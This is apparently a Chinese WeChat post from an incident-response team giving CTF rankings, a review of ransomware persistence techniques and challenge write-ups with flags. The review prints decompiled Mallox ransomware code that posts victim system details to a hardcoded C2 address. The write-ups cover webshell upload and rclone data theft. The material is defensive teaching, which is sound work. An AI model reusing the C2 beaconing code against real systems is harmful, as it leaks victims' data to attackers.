点击蓝字 关注我们
1.4月月赛排名
2025年4月Solar应急响应公益月赛已圆满结束。以下为最终WP提交情况(部分选手因未在规定时间内提交WP,不计入最终排名)
以下为4月月赛最终排名结果
月赛榜总分统计(积分相同排名并列)
2.平台介绍
天狩·网络安全竞赛平台是由 思而听网络科技有限公司 推出的一款Saas化部署的网络安全竞赛平台。平台可满足CTF、AWD、渗透赛等各种赛制的举办需要,可以满足万人同时竞赛的需要,支持最高全国级的网络安全大赛承办。具备竞赛中心、竞赛管理、练习场、试卷管理、赛题管理、人员管理、报名管理、数据中心、日志管理、防作弊机制、3D大屏等功能模块,能够全面、精准地考核选拔网络安全人才。
3.赛事回顾
在4月举行的Solar应急响应公益月赛中,共有100余位选手积极参与。本次月赛围绕溯源排查与逆向分析两大方向精心命题,全面考察选手在应急响应核心技能上的掌握程度。值得特别指出的是,在溯源排查模块的第四问中,仅有两位选手成功完成作答。
这一问重点考核了选手对Windows系统安全加固流程的熟悉程度,涉及的关键检查点包括:启动项配置、计划任务管理、账户排查与系统服务管控。这些点在真实勒索病毒案件中经常被黑客组织利用进行权限维持与攻击链深化,我们在实战中已多次遇到相关案例。
例如:
-
Phobos家族的加密器常常篡改启动项配置,将自身添加至系统自启动列表中,以实现系统重启后的持续控制; -
Mallox家族的加密器则倾向于建立外部网络连接,主动向黑客控制的服务器发送受害系统的加密信息和状态数据; -
Babuk家族通过创建新的系统服务,利用普通用户权限创建新进程并植入恶意程序,从而隐蔽地执行网络操作; -
TargetOwner家族会枚举系统内的计划任务,主动停止那些可能影响其加密活动或造成曝光的任务项目。
上述行为在不同家族的攻击过程中极为常见,黑客往往会在加密器中"加料",植入各种维持权限、隐藏踪迹和增强攻击效果的操作。因此,在应急响应和溯源排查工作中,我们需对这些关键检查项有深刻理解与熟练掌握,能够在第一时间识别潜藏的风险点。
接下来,我们将逐一通过图例展示各家族在实际案例中的具体操作方式。
3.1启动项
【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目
启动项篡改
3.2网络连接
【病毒分析】mallox家族rmallox变种加密器分析报告
v11 = sub_140022D40(&v37, L"http://91.215.85.142/QWEwqdsvsf/ap.php"); HIDWORD(v38) = v11;if ( !v11 ) {LABEL_75: v7 = &v37;return sub_140022930(v7); } sub_140050D90(v58, 0i64, 248i64); sub_14000CA90(v58); sub_14000F530(v59, L"Content-Type: application/x-www-form-urlencodedrnHost: "); v12 = sub_14000F530(v59, v37); sub_14000F800(v12); *v69 = 0i64; v70 = 0;if ( qword_140076130 / 0x40000000 ) wnsprintfA(v69, 10, "%llu", qword_140076130 / 0x40000000);else wnsprintfA(v69, 10, "0.%llu", qword_140076130 / 0x100000); sub_140050D90(v49, 0i64, 248i64); sub_14000BC20(v49); sub_14000FBA0(v50, "user="); sub_14000BDF0(v50); v13 = sub_14000FBA0(v50, "&TargetID="); v14 = sub_14000FBA0(v13, byte_1400762E0); v15 = sub_14000FBA0(v14, "&SystemInformation="); v16 = sub_14000FBA0(v15, ::pszUrl); v17 = sub_14000FBA0(v16, "&max_size_of_file="); v18 = sub_14000FBA0(v17, v69); v19 = sub_14000FBA0(v18, "&size_of_hdd="); sub_14000BF50(v19, dword_140077144);
网络连接请求
3.3系统服务
篡改服务
3.4计划任务
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
停止计划任务
4.3月月赛WP
4.1 6小时应急行动
4.1.1 分析
来到现场后,通过上机初步检查,细心的你发现了一些线索,请分析一下攻击者IP 地址和入侵时间。
flag{192.168.56.128 21/04/2025} flag{ip DD/MM/YYYY}
在电脑上可以看到有瑞友天翼,我们可以检查瑞友天翼的日志,位置为 C:Program Files (x86)RealFriendRap ServerLogsaccess.log
通过桌面上文件的修改时间,也就是加密时间,可以通过这个时间确认大致的时间段,也就是20号-23号左右,分析日志,在21/Apr/2025时间段有,有一个ip为192.168.56.128有SQL注入行为,并上传了webshell(pdyfzr7k.php)
4.1.2 溯源
在溯源的过程中,现场的运维告诉你,服务器不知道为什么多了个浏览器,并且这段时间服务器的流量有些异常,你决定一探究竟找找攻击者做了什么,配置了什么东西? 格式:flag{一大串字母}
flag{oisienfpqwlmdouydrsbhuisjAUGEDW}
通过题目提示可以知道电脑上浏览器是一个线索,并且桌面上存在edge浏览器的安装包,可知电脑上存在IE和edge两个浏览器,点击edge浏览器,查看下载历史,可以发现攻击者在电脑上下载了rclone
rclone可以挂载网盘,结合题目说的流量异常,很大可能为攻击者用来窃取数据用的
rclone中有个重要的配置文件rclone.conf
打开配置文件就找到flag
4.1.3. 恢复
现场的运维说软件的某个跳转地址被恶意的修改了,但是却不知道啥时候被修改的,请你找到文件(C:Program Files (x86)RealFriendRap ServerWebRootcaswebHomeViewIndexindex.html )
最后被动手脚的时间
flag{2025-04-21 23:39:28}例:flag{YYYY-MM-DD HH:MM:SS}
被伪造页面
可以使用数字取证工具--Autopsy分析
点击文件查看文件元数据,可以发现数据最后的修改时间才是真正攻击者篡改的时间
4.1.4 风险排查
一顿分析后,你决定掏出你的Windows安全加固手册对服务器做一次全面的排查,果然你发现了攻击者漏出的鸡脚(四只)
flag格式为:flag{part1+part2+part3+part4}
flag{zheshiyigenixiangbudaodeflag}
通过排查启动项、计划任务、账号排查、系统服务分别获得flag片段,最终组成完整的flag
1)计划任务
首先检查计划任务,找到可疑任务并查看详情信息,发现指向C:WindowsTempupdate.ps1,
打开update.ps1,找flag1
2)系统服务
输入msconfig,检查系统配置中的服务,勾选隐藏所有Microsoft后,发现可疑系统服务Windows Network Sync
输入services.msc打开系统服务查看详情,找到对应的可疑服务,可以看到描述中有flag2
3)账号排查
注册表中,本地用户和组管理器均可查看,可以看到多个用户名,通过一一排查,可以得知Admin为可疑用户,右键查看属性可以得知flag
4)可疑进程
通过排查系统内的进程,找到可疑的进程svchost.exe,
通过可疑进程找到该程序并发现flag4
最终通过四个线索合成一个完整的flag
flag{part1+part2+part3+part4}
4.1.5 提交报告
轻轻松松的加固后,你需要写一份溯源分析报告,但是缺少了加密电脑文件的凶手(某加密程序),这份报告客户是不会感到满意的,请你想方法让客户认可这份报告吧
flag格式为:flag{名称}
flag{Encryptor123.exe}
通过题目提示知道要找的是加密程序,在真实的应急响应中,寻找加密器主要通过加密文件的修改时间、加密器常见路径(启动项,music,temp,users等目录下)、常见的加密器名称等线索排查加密器,在这里我们可以上传一个everything方便查找,可以看到一个名为Encryptor123的程序,很明显这就是我们要找的目标。
4.2 可疑文件
拖入ida
发现是一个dll,查看导出函数
发现这个导出函数对f.txt进行了加密
加密算法为chacha20,并且在加密结束的时候对加密的字节进行了加一的操作。
因此直接根据写死在程序中密钥写解密脚本即可。
#include<stdio.h>#include<stdlib.h>#include<string.h>#include<stdint.h>// ChaCha20 常量#define KEY_SIZE 32 // 256位密钥#define NONCE_SIZE 12 // 96位 Nonce#define BLOCK_SIZE 64 // 64字节块#define ROUNDS 20 // 20轮加密// 将输入字符串密钥转换为 32 字节的密钥(不足补零,超过截断)staticvoidderive_key(constchar* pass, uint8_t key[KEY_SIZE]){size_t len = strlen(pass);memset(key, 0, KEY_SIZE);memcpy(key, pass, len > KEY_SIZE ? KEY_SIZE : len);}// ChaCha20 四分之一轮操作staticinlinevoidqround(uint32_t* a, uint32_t* b, uint32_t* c, uint32_t* d){ *a += *b; *d ^= *a; *d = ( *d << 16 ) | ( *d >> 16 ); // 左移16位 *c += *d; *b ^= *c; *b = ( *b << 12 ) | ( *b >> 20 ); // 左移12位 *a += *b; *d ^= *a; *d = ( *d << 8 ) | ( *d >> 24 ); // 左移8位 *c += *d; *b ^= *c; *b = ( *b << 7 ) | ( *b >> 25 ); // 左移7位}// 生成单个64字节的密钥流块staticvoidchacha20_block(uint32_t state[16], uint8_t* key_stream){uint32_t workspace[16];memcpy(workspace, state, 64); // 复制初始状态// 执行20轮操作(10次双轮)for (int i = 0; i < ROUNDS; i += 2) {// 对列进行四分之一轮 qround(&workspace[0], &workspace[4], &workspace[8], &workspace[12]); qround(&workspace[1], &workspace[5], &workspace[9], &workspace[13]); qround(&workspace[2], &workspace[6], &workspace[10], &workspace[14]); qround(&workspace[3], &workspace[7], &workspace[11], &workspace[15]);// 对对角线进行四分之一轮 qround(&workspace[0], &workspace[5], &workspace[10], &workspace[15]); qround(&workspace[1], &workspace[6], &workspace[11], &workspace[12]); qround(&workspace[2], &workspace[7], &workspace[8], &workspace[13]); qround(&workspace[3], &workspace[4], &workspace[9], &workspace[14]); }// 将结果与初始状态相加for (int i = 0; i < 16; i++) { workspace[i] += state[i]; }// 转换为小端字节序for (int i = 0; i < 16; i++) { key_stream[i * 4 + 0] = (uint8_t)( workspace[i] >> 0 ); key_stream[i * 4 + 1] = (uint8_t)( workspace[i] >> 8 ); key_stream[i * 4 + 2] = (uint8_t)( workspace[i] >> 16 ); key_stream[i * 4 + 3] = (uint8_t)( workspace[i] >> 24 ); }// 块计数器递增 state[12]++;}// 加密文件staticvoidencrypt_file(FILE* in, FILE* out, constuint8_t key[KEY_SIZE]){uint32_t state[16];uint8_t nonce[NONCE_SIZE] = { 0 }; // 初始化状态矩阵(根据 RFC 7539) state[0] = 0x61707865; // "expa" state[1] = 0x3320646e; // "nd 3" state[2] = 0x79622d32; // "2-by" state[3] = 0x6b206574; // "te k"memcpy(&state[4], key, KEY_SIZE); // 密钥 state[12] = 0; // 块计数器memcpy(&state[13], nonce, NONCE_SIZE); // Nonceuint8_t key_stream[BLOCK_SIZE];uint8_t buffer[BLOCK_SIZE];size_t bytes_read;while (( bytes_read = fread(buffer, 1, BLOCK_SIZE, in) ) > 0) {// 生成密钥流 chacha20_block(state, key_stream);// 明文与密钥流异或for (size_t i = 0; i < bytes_read; i++) { buffer[i] -= 1; buffer[i] ^= key_stream[i]; } fwrite(buffer, 1, bytes_read, out); }}intmain(){constchar* in_file = "flag.enc";constchar* out_file = "flag.txt";constchar* user_key = "qewuri";// 处理密钥uint8_t key[KEY_SIZE]; derive_key(user_key, key);// 打开文件 FILE* fin = fopen(in_file, "rb"); FILE* fout = fopen(out_file, "wb");if (!fin || !fout) { perror("文件打开失败");return1; }// 解密并保存 encrypt_file(fin, fout, key); fclose(fin); fclose(fout);printf("解密完成: %sn", out_file);return0;}
flag{sierting_666_fpdsajf[psdfljnwqrlqwhperhqwoeiurhqweourhp}
5.题目投票
请选择您心中最具实战价值且最具创新突破的题目
原文始发于微信公众号(solar应急响应团队):2025-4月Solar应急响应公益月赛排名及官方题解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论